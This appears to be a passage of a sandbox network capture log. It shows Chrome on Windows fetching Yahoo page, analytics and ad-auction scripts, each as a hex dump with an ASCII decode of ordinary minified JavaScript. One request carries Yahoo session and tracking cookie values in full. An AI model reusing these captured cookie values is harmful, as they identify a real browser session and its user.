2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 Data Ascii: ction"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Objec
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 6c 6c 79 7b 69 66 28 69 29 74 68 72 6f 77 20 61 7d 7d 72 65 74 75 72 6e 20 72 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 74 29 29 72 65 74 75 72 6e 20 74 3b 69 66 28 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 20 69 6e 20 4f 62 6a 65 63 74 28 74 29 29 72 65 74 75 72 6e 20 65 28 74 2c 72 29 3b 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6e 76 61 6c 69 64 20 61 74 74 65 6d 70 74 20 74 6f 20 64 65 73 74 72 75 63 74 75 72 65 20 6e 6f 6e 2d 69 74 65 72 61 62 6c 65 20 69 6e 73 74 61 6e 63 65 22 29 7d 7d 28 29 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b Data Ascii: lly{if(i)throw a}}return r}return function(t,r){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t))return e(t,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),h=function(){function e(e,t){for(var r=0;r<t.length;
2024-01-10 23:27:11 UTC	744	IN	Data Raw: 2e 75 72 6c 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 75 72 6c 22 29 2c 68 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 62 6f 75 6e 64 61 72 79 22 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 22 29 2c 79 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 72 65 64 65 6e 74 69 61 6c 73 22 29 2c 76 3d 63 2e 5f 75 74 69 6c 2e 63 61 63 68 65 4b 65 79 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 6b 65 79 22 29 2c 6d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 73 74 72 61 74 65 67 79 22 29 7c 7c 22 6e 65 74 77 6f 72 6b 46 69 72 73 74 22 2c 70 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 63 61 63 68 65 2d 74 74 6c Data Ascii: .url\|\|e.getAttribute(b+"url"),h=e.getAttribute(b+"boundary"),d=e.getAttribute(b+"cache"),y=e.getAttribute(b+"credentials"),v=c._util.cacheKey\|\|e.getAttribute(b+"cache-key"),m=e.getAttribute(b+"cache-strategy")\|\|"networkFirst",p=e.getAttribute(b+"cache-ttl
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 74 65 28 62 2b 22 74 72 69 67 67 65 72 2d 6f 66 66 73 65 74 22 29 7c 7c 22 22 29 2e 73 70 6c 69 74 28 22 20 22 29 2c 57 3d 66 28 4d 2c 32 29 2c 42 3d 57 5b 30 5d 2c 44 3d 57 5b 31 5d 2c 71 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 72 65 74 72 79 2d 72 65 73 65 74 2d 66 6f 72 2d 73 74 61 74 65 2d 63 68 61 6e 67 65 22 29 2c 48 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 64 65 6c 61 79 22 29 2c 58 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 66 65 74 63 68 2d 74 72 69 67 67 65 72 22 29 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 74 72 69 67 67 65 72 22 29 7c 7c 22 76 69 65 77 70 6f 72 74 22 2c 4b 3d 63 2e 5f 75 74 69 6c 2e 62 6f 64 79 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 62 6f 64 Data Ascii: te(b+"trigger-offset")\|\|"").split(" "),W=f(M,2),B=W[0],D=W[1],q=e.getAttribute(b+"retry-reset-for-state-change"),H=e.getAttribute(b+"delay"),X=e.getAttribute(b+"fetch-trigger")\|\|e.getAttribute(b+"trigger")\|\|"viewport",K=c._util.body\|\|e.getAttribute(b+"bod
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 3a 4e 75 6d 62 65 72 28 78 29 2c 65 6c 65 6d 3a 65 2c 65 72 72 6f 72 43 6c 61 73 73 3a 6e 2c 69 73 50 6f 73 74 57 69 74 68 53 74 61 74 65 3a 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 5b 62 6f 64 79 5d 22 29 7c 7c 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 62 2b 22 73 74 61 74 65 2d 62 6f 64 79 22 29 2c 6f 66 66 73 65 74 58 3a 4e 75 6d 62 65 72 28 44 29 7c 7c 30 2c 6f 66 66 73 65 74 59 3a 4e 75 6d 62 65 72 28 42 29 7c 7c 30 2c 72 65 70 6c 61 63 65 3a 6e 75 6c 6c 3d 3d 3d 77 7c 7c 76 6f 69 64 20 30 3d 3d 3d 77 3f 30 3a 4e 75 6d 62 65 72 28 77 29 2c 72 65 73 75 6c 74 53 65 6c 65 63 74 6f 72 3a 41 2c 72 65 74 72 79 43 6f 75 6e 74 3a 59 2c 72 65 74 72 79 52 65 73 65 74 46 6f 72 53 74 61 74 65 43 68 61 6e 67 65 3a 71 2c 73 65 6c 65 63 74 6f 72 3a Data Ascii: :Number(x),elem:e,errorClass:n,isPostWithState:e.getAttribute(b+"[body]")\|\|e.getAttribute(b+"state-body"),offsetX:Number(D)\|\|0,offsetY:Number(B)\|\|0,replace:null===w\|\|void 0===w?0:Number(w),resultSelector:A,retryCount:Y,retryResetForStateChange:q,selector:
2024-01-10 23:27:11 UTC	1144	IN	Data Raw: 26 26 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 66 65 74 63 68 44 65 70 65 6e 64 65 6e 63 79 28 74 2b 2b 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 29 7d 29 7d 2c 31 30 30 2a 28 74 2b 31 29 29 2c 73 7c 7c 69 2e 74 72 69 67 67 65 72 28 72 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 75 74 69 6c 2e 64 65 70 65 6e 64 65 6e 63 79 45 6c 65 6d 3d 6e 75 6c 6c 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 28 29 7d 2c 31 30 30 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 5f 75 74 69 6c 2e 73 74 61 74 75 73 3d 76 6f 69 64 20 30 7d 29 7d 2c 30 29 7d 29 7d 7d 7d 2c 7b 6b 65 79 3a 22 67 65 74 54 61 72 67 65 74 46 6f 72 42 6f 75 6e 64 61 72 79 22 2c 76 61 Data Ascii: &&setTimeout(function(){e.fetchDependency(t++).then(function(){n()})},100*(t+1)),s\|\|i.trigger(r).then(function(){e._util.dependencyElem=null,setTimeout(function(){n()},100)}).catch(function(){e._util.status=void 0})},0)})}}},{key:"getTargetForBoundary",va
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 69 73 2e 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 2c 49 3d 7b 7d 3b 72 65 74 75 72 6e 20 63 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 53 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 61 72 67 65 74 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 64 26 26 64 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 62 6f 75 6e 64 61 72 79 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 50 26 26 28 49 2e 72 65 74 72 69 65 73 3d 50 29 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 74 61 74 75 73 3d 30 2c 74 68 69 73 2e 66 65 74 63 68 44 65 70 65 6e 64 65 6e 63 79 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 Data Ascii: is._state.retries,I={};return c.classList.add("wafer-fetch-trigger-inprogress"),S.classList.add("wafer-fetch-target-inprogress"),d&&d.classList.add("wafer-fetch-boundary-inprogress"),P&&(I.retries=P),this._state.status=0,this.fetchDependency().then(functi
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 20 4c 3d 76 6f 69 64 20 30 2c 50 3d 76 6f 69 64 20 30 2c 49 3d 74 2e 68 74 6d 6c 2c 4e 3d 76 6f 69 64 20 30 3d 3d 3d 49 3f 74 2e 6d 61 72 6b 75 70 3a 49 3b 69 66 28 6d 29 7b 76 61 72 20 78 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 78 2e 69 6e 6e 65 72 48 54 4d 4c 3d 4e 3b 76 61 72 20 46 3d 78 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6d 29 3b 4e 3d 46 26 26 46 2e 69 6e 6e 65 72 48 54 4d 4c 7c 7c 4e 7d 69 66 28 76 29 7b 76 61 72 20 52 3d 53 2e 70 61 72 65 6e 74 4e 6f 64 65 2c 4d 3d 53 2e 70 72 65 76 69 6f 75 73 45 6c 65 6d 65 6e 74 53 69 62 6c 69 6e 67 3b 53 2e 69 6e 73 65 72 74 41 64 6a 61 63 65 6e 74 48 54 4d 4c 28 22 62 65 66 6f 72 65 62 65 67 69 6e 22 2c 4e 29 2c 52 2e 72 65 6d 6f 76 65 43 68 69 6c Data Ascii: L=void 0,P=void 0,I=t.html,N=void 0===I?t.markup:I;if(m){var x=document.createElement("div");x.innerHTML=N;var F=x.querySelector(m);N=F&&F.innerHTML\|\|N}if(v){var R=S.parentNode,M=S.previousElementSibling;S.insertAdjacentHTML("beforebegin",N),R.removeChil
2024-01-10 23:27:11 UTC	1300	IN	Data Raw: 5f 73 74 61 74 65 2e 72 65 74 72 69 65 73 3b 72 65 74 75 72 6e 20 67 2e 65 6d 69 74 45 72 72 6f 72 28 7b 6e 61 6d 65 3a 22 57 61 66 65 72 46 65 74 63 68 22 2c 65 6c 65 6d 3a 63 2c 6d 65 74 61 3a 7b 6d 65 73 73 61 67 65 3a 6e 2c 72 65 74 72 79 43 6f 75 6e 74 3a 6c 2c 74 61 72 67 65 74 45 6c 65 6d 3a 53 2c 75 72 6c 3a 6a 7d 2c 73 74 61 63 6b 3a 74 2e 73 74 61 63 6b 7c 7c 74 2e 6d 65 73 73 61 67 65 7d 29 2c 63 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 74 72 69 67 67 65 72 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 64 26 26 28 64 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 65 74 63 68 2d 62 6f 75 6e 64 61 72 79 2d 69 6e 70 72 6f 67 72 65 73 73 22 29 2c 64 2e 63 6c 61 73 73 4c Data Ascii: _state.retries;return g.emitError({name:"WaferFetch",elem:c,meta:{message:n,retryCount:l,targetElem:S,url:j},stack:t.stack\|\|t.message}),c.classList.remove("wafer-fetch-trigger-inprogress"),d&&(d.classList.remove("wafer-fetch-boundary-inprogress"),d.classL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49847	152.199.24.48	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	888	OUT	GET /tag/opus.js HTTP/1.1 Host: opus.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1
2024-01-10 23:27:11 UTC	562	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 204005 Content-Security-Policy: default-src https:; script-src https: 'unsafe-inline'; style-src https: 'unsafe-inline' Content-Type: application/javascript Date: Wed, 10 Jan 2024 23:27:11 GMT Etag: "5769a8d5d32fd009934f5b7b74bffa2e" Last-Modified: Mon, 11 Dec 2023 14:45:38 GMT Server: ECAcc (dcd/7D6B) Vary: Accept-Encoding x-amz-id-2: riEFlhX13VaRx1I4T45/mpTlDGBVCuESdgkevz4WEH4cXUW3l7b/pNwXEXO8i8T7FFiSAGcNnT4= x-amz-request-id: J5HXTF5BB7KTS3P7 X-Cache: HIT Content-Length: 12951 Connection: close
2024-01-10 23:27:11 UTC	12951	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 65 28 63 29 7b 69 66 28 6e 5b 63 5d 29 72 65 74 75 72 6e 20 6e 5b 63 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 6e 5b 63 5d 3d 7b 69 3a 63 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 74 5b 63 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 65 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 65 2e 6d 3d 74 2c 65 2e 63 3d 6e 2c 65 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 2c 63 29 7b 65 2e 6f 28 74 2c 6e 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 6e 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c Data Ascii: !function(t){var n={};function e(c){if(n[c])return n[c].exports;var r=n[c]={i:c,l:!1,exports:{}};return t[c].call(r.exports,r,r.exports,e),r.l=!0,r.exports}e.m=t,e.c=n,e.d=function(t,n,c){e.o(t,n)\|\|Object.defineProperty(t,n,{configurable:!1,enumerable:!0,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49846	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:11 UTC	629	OUT	GET /bidexchange.js?cid=8YHBJ3BJ0&version=12.1&dn=www.yahoo.com&ysection=main&yregion=US&ylang=en-US&ysite=fp&ydevice=desktop HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:11 UTC	951	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 653935 Content-Type: text/javascript; charset=utf-8 Set-Cookie: visitor-id=3479308310180275000V10; Expires=Mon, 08 Jul 2024 23:27:11 GMT; domain=.hb.yahoo.net; Path=/; sameSite=none; secure=true x-mnet-h: E P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Link: <https://prebid.media.net>;rel="preconnect",<https://c2shb-oao.ssp.yahoo.com>;rel="preconnect",<https://m.hb.yahoo.net>;rel="preconnect",<https://hb.yahoo.net/ucreative.php?cv=1>;rel="prefetch";as=script,<https://rtb-cache.hb.yahoo.net>;rel="preconnect",<https://hb.yahoo.net/ss/nes/player.js>;rel="prefetch";as="script" ETag: 205214057237181610 Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Timing-Allow-Origin: * Cache-Control: max-age=1800 Expires: Wed, 10 Jan 2024 23:57:11 GMT Date: Wed, 10 Jan 2024 23:27:11 GMT Connection: close
2024-01-10 23:27:11 UTC	4	IN	Data Raw: 20 20 20 20 Data Ascii:
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 79 20 7b 28 28 29 3d 3e 7b 76 61 72 20 65 3d 7b 34 37 36 34 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 74 2c 7b 51 45 3a 28 29 3d 3e 72 7d 29 3b 76 61 72 20 6e 3d 69 28 38 33 38 36 29 3b 6e 2e 65 50 2e 67 65 74 43 6f 6e 66 69 67 28 22 61 62 70 57 68 74 6c 73 74 55 72 6c 73 52 67 78 22 29 3b 63 6f 6e 73 74 20 72 3d 6e 2e 65 50 2e 67 65 74 43 6f 6e 66 69 67 28 22 41 62 70 41 63 70 74 50 72 6d 22 29 7d 2c 35 33 36 34 3a 28 65 2c 74 2c 69 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 69 28 38 35 39 29 2c 72 3d 69 28 33 32 37 37 29 3b 63 6f 6e 73 74 20 73 3d 6e 65 77 20 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 74 Data Ascii: try {(()=>{var e={4764:(e,t,i)=>{"use strict";i.d(t,{QE:()=>r});var n=i(8386);n.eP.getConfig("abpWhtlstUrlsRgx");const r=n.eP.getConfig("AbpAcptPrm")},5364:(e,t,i)=>{"use strict";var n=i(859),r=i(3277);const s=new class{constructor(){this.t
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 79 55 73 65 64 3a 33 7d 29 7d 7d 67 65 74 4d 65 74 61 28 65 29 7b 72 65 74 75 72 6e 28 30 2c 61 2e 78 5a 29 28 74 68 69 73 2e 74 61 72 67 65 74 56 69 65 77 54 69 6d 65 72 4d 61 70 2c 65 2c 33 29 7d 73 65 74 20 66 69 72 65 43 61 6c 6c 62 61 63 6b 46 6f 72 45 6c 65 6d 65 6e 74 28 65 29 7b 74 68 69 73 2e 67 65 6e 65 72 69 63 43 61 6c 6c 62 61 63 6b 46 6f 72 45 6c 65 6d 65 6e 74 73 3d 65 7d 6f 62 73 65 72 76 65 28 65 29 7b 63 6f 6e 73 74 20 74 3d 28 30 2c 6e 2e 6e 29 28 65 29 3b 73 77 69 74 63 68 28 28 30 2c 61 2e 71 48 29 28 74 68 69 73 2e 74 61 72 67 65 74 56 69 65 77 54 69 6d 65 72 4d 61 70 2c 65 29 2c 74 29 7b 63 61 73 65 20 30 3a 28 30 2c 73 2e 44 4d 29 28 74 68 69 73 2e 49 4f 46 6f 72 41 64 73 29 26 26 74 68 69 73 2e 49 4f 46 6f 72 41 64 73 2e 6f 62 73 Data Ascii: yUsed:3})}}getMeta(e){return(0,a.xZ)(this.targetViewTimerMap,e,3)}set fireCallbackForElement(e){this.genericCallbackForElements=e}observe(e){const t=(0,n.n)(e);switch((0,a.qH)(this.targetViewTimerMap,e),t){case 0:(0,s.DM)(this.IOForAds)&&this.IOForAds.obs
2024-01-10 23:27:11 UTC	7948	IN	Data Raw: 3a 5b 22 6c 6f 67 22 5d 2c 74 79 70 65 3a 22 62 65 61 63 6f 6e 22 2c 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3a 21 31 2c 77 69 74 68 46 61 6c 6c 62 61 63 6b 3a 21 30 7d 2c 74 68 69 73 2e 65 76 65 6e 74 49 64 3d 65 2c 74 68 69 73 2e 6c 6f 67 54 6f 70 69 63 3d 74 2c 74 68 69 73 2e 64 65 66 61 75 6c 74 52 65 71 75 65 73 74 4f 70 74 69 6f 6e 73 2e 74 61 67 73 2e 70 75 73 68 28 65 29 7d 75 70 64 61 74 65 52 65 71 75 65 73 74 4f 70 74 69 6f 6e 73 28 65 29 7b 63 6f 6e 73 74 20 74 3d 28 30 2c 44 2e 6c 37 29 28 7b 7d 2c 74 68 69 73 2e 64 65 66 61 75 6c 74 52 65 71 75 65 73 74 4f 70 74 69 6f 6e 73 29 3b 72 65 74 75 72 6e 28 30 2c 6f 2e 44 4d 29 28 65 29 3f 65 3d 28 30 2c 44 2e 6c 37 29 28 74 2c 65 29 3a 74 7d 66 69 72 65 28 65 2c 74 2c 69 29 7b 63 6f 6e 73 74 Data Ascii: :["log"],type:"beacon",withCredentials:!1,withFallback:!0},this.eventId=e,this.logTopic=t,this.defaultRequestOptions.tags.push(e)}updateRequestOptions(e){const t=(0,D.l7)({},this.defaultRequestOptions);return(0,o.DM)(e)?e=(0,D.l7)(t,e):t}fire(e,t,i){const
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 2c 69 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 63 6d 64 2e 70 75 73 68 28 28 28 29 3d 3e 7b 28 30 2c 6f 2e 7a 78 29 28 22 31 22 29 26 26 65 2e 73 65 74 54 61 72 67 65 74 69 6e 67 28 22 6e 6f 61 64 73 22 2c 22 31 22 29 7d 29 29 7d 28 74 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 63 6d 64 2e 70 75 73 68 28 28 28 29 3d 3e 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 74 61 67 2e 70 75 62 61 64 73 28 29 2e 63 6c 65 61 72 28 5b 65 5d 29 7d 29 29 7d 28 74 29 2c 28 30 2c 61 2e 53 54 29 28 65 2c 22 69 64 22 2c 75 28 65 29 29 7d 29 29 7d 29 29 7d 29 28 74 2e 66 69 6c 74 65 72 28 28 74 3d 3e 65 2e 62 69 64 73 2e 65 76 65 72 79 28 28 65 3d 3e 65 2e 70 6c 61 63 65 6d 65 6e 74 49 64 21 3d 3d 74 29 29 29 29 Data Ascii: ,i){window.googletag.cmd.push((()=>{(0,o.zx)("1")&&e.setTargeting("noads","1")}))}(t),function(e){window.googletag.cmd.push((()=>{window.googletag.pubads().clear([e])}))}(t),(0,a.ST)(e,"id",u(e))}))}))})(t.filter((t=>e.bids.every((e=>e.placementId!==t))))
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 44 6f 6e 65 22 2c 74 68 69 73 2e 69 6d 70 72 65 73 73 69 6f 6e 2e 69 64 2c 65 29 2c 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 28 74 68 69 73 2e 62 69 64 52 65 71 75 65 73 74 73 29 2e 66 69 6c 74 65 72 28 28 74 3d 3e 74 2e 70 72 6f 76 69 64 65 72 2e 69 64 3d 3d 3d 65 29 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 76 61 72 20 74 3b 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 62 69 64 52 65 71 75 65 73 74 52 65 73 6f 6c 76 65 72 2e 67 65 74 28 65 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 28 5b 69 65 28 29 5d 29 7d 29 29 7d 64 6f 6e 65 28 29 7b 4f 62 6a 65 63 74 2e 76 61 6c 75 65 73 28 74 68 69 73 2e 62 69 64 52 65 71 75 65 73 74 73 29 2e 66 6f 72 45 61 63 68 28 28 65 3d 3e 7b 76 61 72 20 74 3b 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 62 69 64 52 Data Ascii: Done",this.impression.id,e),Object.values(this.bidRequests).filter((t=>t.provider.id===e)).forEach((e=>{var t;null===(t=this.bidRequestResolver.get(e))\|\|void 0===t\|\|t([ie()])}))}done(){Object.values(this.bidRequests).forEach((e=>{var t;null===(t=this.bidR
2024-01-10 23:27:11 UTC	7952	IN	Data Raw: 67 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6c 65 6e 67 74 68 3d 30 29 7d 69 73 53 74 6f 72 61 67 65 41 63 63 65 73 73 69 62 6c 65 28 29 7b 63 6f 6e 73 74 20 65 3d 22 65 63 73 73 74 65 73 74 22 3b 74 72 79 7b 69 66 28 22 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 3d 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 29 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 65 2c 65 29 2c 77 69 6e 64 6f 77 2e 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 72 65 6d 6f 76 65 49 74 65 6d 28 65 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 31 7d 73 65 74 49 74 65 6d 28 65 2c 74 29 7b 28 30 2c 6e 2e 44 4d Data Ascii: ge=null,this.length=0)}isStorageAccessible(){const e="ecsstest";try{if("sessionStorage"in window&&null!==window.sessionStorage)return window.sessionStorage.setItem(e,e),window.sessionStorage.removeItem(e),!0}catch(e){return!1}return!1}setItem(e,t){(0,n.DM
2024-01-10 23:27:11 UTC	16384	IN	Data Raw: 2e 30 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 30 38 32 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 31 31 33 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 2c 22 66 6c 72 5f 73 74 72 61 74 65 67 79 22 3a 22 64 79 6e 61 6d 69 63 22 7d 2c 22 32 35 33 30 37 22 3a 7b 22 64 66 73 5f 66 61 6c 6c 62 61 63 6b 5f 66 6c 72 5f 70 72 69 63 65 22 3a 22 30 2e 30 22 Data Ascii: 